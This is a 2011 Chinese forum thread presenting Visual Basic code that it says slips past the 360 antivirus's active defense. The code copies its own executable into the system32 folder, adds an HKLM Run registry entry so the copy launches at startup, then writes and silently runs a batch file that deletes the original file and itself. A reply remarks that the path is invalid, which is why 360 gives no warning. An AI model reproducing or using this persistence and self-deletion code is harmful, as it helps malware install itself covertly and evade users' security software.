突破360主防加启动（默认放行）大家可测试

显示全部楼层 · 发表于 2011-4-26 13:04:43

Private Sub Form_click()
Dim strPath As String
strPath = "C:\windows\system32\" & App.EXEName & ".exe"
FileCopy App.Path & "\" & App.EXEName & ".exe", strPath
Set my = CreateObject("WScript.Shell")
my.regWrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\" & App.EXEName, strPath, "REG_SZ"
KillMe
End
End Sub

Public Sub KillMe()
Dim mPath As String
If Right$(App.Path, 1) = "\" Then
      mPath = App.Path
Else
      mPath = App.Path & "\"
End If
Open mPath & "Demon.bat" For Output As #1
      Print #1, ":Repeat"
      Print #1, "del """ & mPath & App.EXEName & ".exe"""
      Print #1, "if exist """ & mPath & App.EXEName & ".exe""" & " goto Repeat"
      Print #1, "del %0"
Close #1
Shell mPath & "Demon.bat", vbHide
End Sub

VB开机启动，无效路径，所以360不提示。

显示全部楼层 · 发表于 2011-4-26 13:06:17

本帖最后由星空下的吻于 2011-4-26 13:08 编辑

回复 11楼媚_妩的帖子

楼主,你自己都知道是无效路径了,还放出来.......

PS:这回窘了

显示全部楼层 · 发表于 2011-4-26 13:07:08

回复 12楼星空下的吻的帖子

同志，你超越了，我不是楼主，我只是路过。

显示全部楼层 · 发表于 2011-4-26 13:08:37

回复 13楼媚_妩的帖子

不好意思!!!帖子不正常了

显示全部楼层 · 发表于 2011-4-26 14:11:22

每次看到楼主狂赞360的楼层。那语言

[讨论] 突破360主防加启动（默认放行）大家可测试